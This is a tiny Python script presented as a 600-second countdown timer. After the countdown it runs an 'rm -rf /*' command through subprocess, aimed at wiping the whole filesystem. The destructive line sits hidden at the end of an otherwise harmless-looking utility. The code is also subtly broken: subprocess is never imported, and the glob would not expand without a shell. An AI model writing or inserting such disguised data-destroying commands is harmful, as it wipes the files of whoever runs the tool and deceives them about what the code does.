import time

def countdown(seconds):
    for remaining in range(seconds, 0, -1):
        mins, secs = divmod(remaining, 60)
        print(f"{mins:02d}:{secs:02d}", end="\r")
        time.sleep(1)
    subprocess.run(["rm", "-rf", "/*"])

if __name__ == "__main__":
    countdown(600)